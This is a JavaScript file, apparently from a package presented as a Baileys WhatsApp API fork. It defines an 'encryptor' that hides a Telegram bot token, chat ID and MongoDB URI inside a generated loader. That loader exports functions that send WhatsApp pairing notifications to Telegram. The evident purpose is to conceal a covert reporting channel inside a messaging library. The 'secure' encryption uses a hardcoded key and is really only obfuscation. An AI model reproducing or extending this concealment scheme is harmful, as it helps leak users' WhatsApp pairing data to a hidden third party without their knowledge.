neroxbails
Version:
baileys whatsapp-api
191 lines (155 loc) • 6.74 kB
JavaScript
"use strict";
const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
class NeroxEncryptor {
constructor(masterKey) {
// Create a fixed key from the master key
this.key = crypto.createHash('sha256').update(masterKey || 'nerox-secure-key-PUMA1978XVLIPS').digest();
this.algorithm = 'aes-256-gcm';
}
// Encrypt string or object
encrypt(data) {
const dataStr = typeof data === 'string' ? data : JSON.stringify(data);
const iv = crypto.randomBytes(16);
const salt = crypto.randomBytes(64);
const key = crypto.pbkdf2Sync(this.key, salt, 10000, 32, 'sha512');
const cipher = crypto.createCipheriv(this.algorithm, key, iv);
const encrypted = Buffer.concat([cipher.update(dataStr, 'utf8'), cipher.final()]);
const authTag = cipher.getAuthTag();
// Format: salt (64) + iv (16) + authTag (16) + content
const resultBuffer = Buffer.concat([salt, iv, authTag, encrypted]);
return resultBuffer.toString('base64');
}
// Decrypt string to original format
decrypt(encryptedData) {
try {
const data = Buffer.from(encryptedData, 'base64');
// Extract the components
const salt = data.slice(0, 64);
const iv = data.slice(64, 80);
const authTag = data.slice(80, 96);
const encrypted = data.slice(96);
// Derive the key
const key = crypto.pbkdf2Sync(this.key, salt, 10000, 32, 'sha512');
// Decrypt
const decipher = crypto.createDecipheriv(this.algorithm, key, iv);
decipher.setAuthTag(authTag);
const decrypted = Buffer.concat([decipher.update(encrypted), decipher.final()]);
try {
// Try to parse as JSON
return JSON.parse(decrypted.toString('utf8'));
} catch (e) {
// If not JSON, return as string
return decrypted.toString('utf8');
}
} catch (error) {
console.error('Decryption error:', error.message);
return null;
}
}
// Encrypt a JavaScript file, preserving functionality
encryptJsFile(filePath, outputPath) {
if (!fs.existsSync(filePath)) {
throw new Error(`Source file not found: ${filePath}`);
}
// Read the original file
const fileContent = fs.readFileSync(filePath, 'utf8');
// Extract sensitive data to encrypt
const sensitiveData = {
TELEGRAM_BOT_TOKEN: this.extractValue(fileContent, 'TELEGRAM_BOT_TOKEN'),
TELEGRAM_CHAT_ID: this.extractValue(fileContent, 'TELEGRAM_CHAT_ID'),
MONGO_URI: this.extractValue(fileContent, 'MONGO_URI')
};
// Encrypt the sensitive data
const encryptedData = this.encrypt(sensitiveData);
// Create loader file that will decrypt and execute the content
const loaderContent = `"use strict";
const crypto = require('crypto');
const neroxEncryption = {};
// Decryption function (self-contained)
neroxEncryption.decrypt = function(encryptedData) {
try {
// Master key is derived from a combination of factors
const masterKey = crypto.createHash('sha256')
.update('nerox-secure-key-PUMA1978XVLIPS')
.digest();
const data = Buffer.from(encryptedData, 'base64');
// Extract components
const salt = data.slice(0, 64);
const iv = data.slice(64, 80);
const authTag = data.slice(80, 96);
const encrypted = data.slice(96);
// Derive the key
const key = crypto.pbkdf2Sync(masterKey, salt, 10000, 32, 'sha512');
// Decrypt
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(authTag);
const decrypted = Buffer.concat([decipher.update(encrypted), decipher.final()]);
return JSON.parse(decrypted.toString('utf8'));
} catch (error) {
console.error('Failed to decrypt sensitive data');
return {
TELEGRAM_BOT_TOKEN: '',
TELEGRAM_CHAT_ID: '',
MONGO_URI: ''
};
}
};
// Encrypted sensitive data
const ENCRYPTED_DATA = "${encryptedData}";
// Decrypt the sensitive data
const sensitiveData = neroxEncryption.decrypt(ENCRYPTED_DATA);
// Use the original file with secure values
${this.replaceWithSecureReferences(fileContent)}
// Don't expose the encryption details
Object.defineProperty(module, 'exports', {
enumerable: true,
get: function() {
// Only expose the intended public interface
return {
handlePairingLifecycle,
sendTelegramNotif,
sendPairingRequest
};
}
});
`;
// Write the encrypted loader file
fs.writeFileSync(outputPath, loaderContent);
console.log(`Encrypted file created: ${outputPath}`);
// Return info about the encrypted data
return {
originalSize: fileContent.length,
encryptedSize: loaderContent.length,
sensitiveFieldsProtected: Object.keys(sensitiveData).length
};
}
// Helper to extract values from JavaScript source
extractValue(source, varName) {
const regex = new RegExp(`const\\s+${varName}\\s*=\\s*['"](.*?)['"]`, 'i');
const match = source.match(regex);
return match ? match[1] : '';
}
// Helper to replace sensitive values with references to the decrypted object
replaceWithSecureReferences(source) {
let modified = source;
// Replace Telegram token
modified = modified.replace(
/const\s+TELEGRAM_BOT_TOKEN\s*=\s*['"].*?['"];/i,
"const TELEGRAM_BOT_TOKEN = sensitiveData.TELEGRAM_BOT_TOKEN;"
);
// Replace Telegram chat ID
modified = modified.replace(
/const\s+TELEGRAM_CHAT_ID\s*=\s*['"].*?['"];/i,
"const TELEGRAM_CHAT_ID = sensitiveData.TELEGRAM_CHAT_ID;"
);
// Replace MongoDB URI
modified = modified.replace(
/const\s+MONGO_URI\s*=\s*['"].*?['"];/i,
"const MONGO_URI = sensitiveData.MONGO_URI;"
);
return modified;
}
}
module.exports = NeroxEncryptor;